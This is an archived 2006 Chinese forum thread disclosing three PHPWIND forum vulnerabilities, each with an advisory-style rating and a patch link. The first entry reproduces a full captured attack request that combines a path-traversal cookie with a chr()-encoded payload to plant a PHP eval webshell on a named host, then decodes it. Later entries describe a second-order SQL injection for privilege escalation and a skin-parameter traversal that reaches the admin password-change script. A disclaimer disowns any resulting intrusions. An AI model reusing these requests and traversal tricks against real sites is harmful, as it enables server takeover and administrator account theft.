WEB程序漏洞发布

声明：本帖将陆续公布互联网站点之漏洞，但不负责回答关于使用工具及如何利用漏洞的问题，

请参考者自己判断。如有利用本帖公布之漏洞入侵网站者，造成的一切后果与本人无关。

首先从本站使用的PHPWIND说起，当然是老版本的啦：

PHPWIND 2.0.1论坛直接写入木马漏洞

针对程序: PHPWIND

影响版本: PHPWIND 2.0.1

详细说明:

在程序运行时，我抓了一个包：

GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=<?fputs(fopen
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

GET /phpwind//attachment/set.php HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

Chr()里的那些东西我查了一下ascii字符表，得到的是这样的：
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
很显然是在error.php里写入一行php木马：<? eval($_post[cmd]);?> 。
所以关键是：
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要！于是我下了一个phpwind 2.0.1的程序看看，开始以为是job.php有问题。进入job.php中，只发现如下代码：

elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}
好，在失望的同时也发现了$skin一定有问题，job.php文件头有个：require_once("./global.php");
接着我们来看看global.php里面的$skin参数吧：

if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest';
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}
哦，只要我们定义了$skinco就可以满足$skin了！所以再找找$skinco吧，$skinco只有一处解释，其后，并没有做任何过滤：
if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈，好轻松，只要存在就可以？这样只要构造一个cookie就完全可以实现。咦？$skinco我们好象哪里见过。果然，就是上面抓的包里面的：
Cookie:skinco=../../require/hidden;
这样就更加证明我的思路是正确的，风回路转呀。又不得不佩服这样精彩的手法，按照pinkeyes的思路：构造后应该是这样的：
data/style/../../require/hidden.php
也就是./require/hidden.php。
这样也就是满足了job.php中的

if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到这里，先告一段落，我们回个头想想。我们分析这么多就是pinkeyes要为了包含一个文件：./require/hidden.php。这就奇怪了，为什么这么pinkeyes要千方百计的来包含 ./require/hidden.php呢？直接利用不可以吗？这个hidden.php到底是个什么样的文件呢？恩，下面的解释会让你有一个满意的答案。
我小心翼翼的打开hidden.php

<?php
!function_exists('readover') && exit('Forbidden');
$newonline="<>\t$timestamp\t$onlineip\t$fidwt\t$tidwt\t$groupid\t$wherebbsyou\t$acttime\t$uid\t$windid\t";
$newonline=str_pad($newonline,$db_olsize)."\n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"\t".$windid."\t")){
$inselectfile='N';
$offset=strpos($onlineuser,"\n",$offset-$db_olsize);$offset+=1;/*会员名不在开始需要转换指针*/
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."\n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>

看到这里，所有的疑团都解开了！
1．原来文件头多了个
!function_exists('readover') && exit('Forbidden');
这样直接访问是不允许的，后面的代码也不会执行，这样我明白pinkeyes的苦心多走弯路来努力用include来包含这个文件
2 这个文件里有writeline()是可以写入木马的。$newonline正好也定义了$tidwt，所以最后的writeline()把$tidwt也写进去了。
写入到了d_name 所定义的set.php这个临时文件里。本来这样就可以写入一个小木马了，只要使$tidwt为编码：<? eval($_post[cmd]);?>就可以的。但是可能是pinkeyes考虑到set.php里的东西比较乱。所以煞费苦心的用
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
写入一个更简单的木马到error.php里！这样才多了我们抓的第二个包：
GET /phpwind//attachment/set.php HTTP/1.1

危害级别: 中

解决方案: 下载官方提供最新补丁或版本,http://www.phpwind.net

鱼子酱

2006-01-01 16:23

PHPWIND2.02 & PHPWIND3.31ce权限提升漏洞

针对程序: PHPWIND

影响版本: PHPWIND 2.0.2/3.3.1CE

详细说明:

主要的原因是在于Job.php中产生的,但是操作的行为却在很大程度上迷惑了许多人,包括我在测试漏洞的时候都认为是Profile.php中的$Proicon变量引起的.
其实这个变量确实存在问题,而且可以直接导致一些恶意事件的发生.但是利用的两方面,一个是在Php中组合字符串,形成我们要说的漏洞,另外一个则是形成了删除任意文件的漏洞...

首先我们需要看看漏洞形成,在profile.php中的$proicon中,变量没有经过任何处理直接提交,系统中的变量经过了PHP的GPC转义.到了MySQL中(一个XSS隐患).这是最重要的.
但是我们只是将数据写进了MySQL,而且其中受到了PHP的GPC转义,无法注射,这就是很多对这个漏洞的错误认识.
其实漏洞真正的激发是在Job.php里的一个函数中,这个函数将数据从MySQL里读出,然后构造为辅助语句,这时候,转义已经被PHPWIND本身给过滤掉了,也就是说我们怎么提交的,在这个函数里从MySQL里出来的就是怎么样的.
那么我们只要组合一下字符串,然后就可以轻松的构造Inj语句,修改数据库,形成提升权限的漏洞了....

危害级别: 中

解决方案: 下载官方最新补丁或版本,http://www.phpwind.net

鱼子酱

2006-01-01 16:25

PHPWIND1.3.6论坛skin变量未过滤导致管理员密码更改漏洞

针对程序: PHPWIND

影响版本: PHPWIND 1.3.6

详细说明:

PHPWIND论坛是一款流行的PHP论坛，界面美观，功能也比较强大。但大家仔细看一下会发现不论是从界面功能还是代码风格，它和DISCUZ都非常相似，具体原因我想也就不用说了，毕竟DISCUZ出来比它要早很多。但安全上它没有继承DISCUZ的优点，DISCUZ论坛安全性非常好，而且商家也对此非常重视安全问题，国内论坛中不论从功能还是安全,第一非DISCUZ莫属。PHPWIND虽然代码严谨，逻辑清楚，但还是有一些漏洞，而且还相当严重。
skin变量未过滤导致管理员密码更改
漏洞代码如下(header.php)：
!function_exists('readover') && exit('Forbidden');
if (!$skin) $skin=$db_defaultstyle;
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}else{
include_once(R_P."data/style/wind.php");
}
$yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';
if($groupid=='guest' && $db_regpopup=='1'){
$head_pop='head_pop';
} else{
$head_gotmsg=$winddb['newpm']==1 ? '您有新消息':'短消息';
}
require_once(PrintEot('css'));
require_once(PrintEot('header'));
?>
其中$skin变量是我们提交的，在运行到这里之前，只有一个地方处理过$skin变量：
$_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];
语句判断COOKIE中是否已经包含skinco的信息，如果有了，就取得COOKIE中的值，这是处理个人页面风格用的。但如果我们的COOKIE中没有这个值,那么我们提交的skin变量就会一点不变的传到上面的漏洞代码。有人问，如果系统关了register_globals会怎么样，关了也没关系。
if(!ini_get('register_globals') || !get_magic_quotes_gpc()){
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
@extract($_FILES,EXTR_SKIP);
}
系统在global.php中又给释放了。所以我们不管是用GET方法或者POST方法都可以把构造好的SKIN变量传给程序。那传给程序有什么用呢？这是重点！
我们看这段代码：
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}...
含义是如果（R_P."data/style/$skin.php"）文件存在就把它包含进来，我也不分析有几种用法了，我直接给出我最简单危害最大的利用方法。
我们把skin的值设为"../../admin/manager"，那就变成了R_P."data/style/../../admin/manager.php",很显然，这是论坛管理用户的一个程序，存在而且可执行。这个程序是专门用来修改sql_config.php的，这里面都是重要数据，包括论坛创始人的用户名和密码。我们只要构造好就可以改它的密码，直接登陆后台管理。在改之前我们可以先查看创始人的用户名。

危害级别: 中

解决方案: 下载官方提供最新补丁及版本,http://www.phpwind.net

查看完整版本: [-- WEB程序漏洞发布 --] [-- top --]

Powered by PHPWind v7.5 SP3 Code ©2003-2010 PHPWind
Time 0.013716 second(s),query:4 Gzip disabled

You can contact us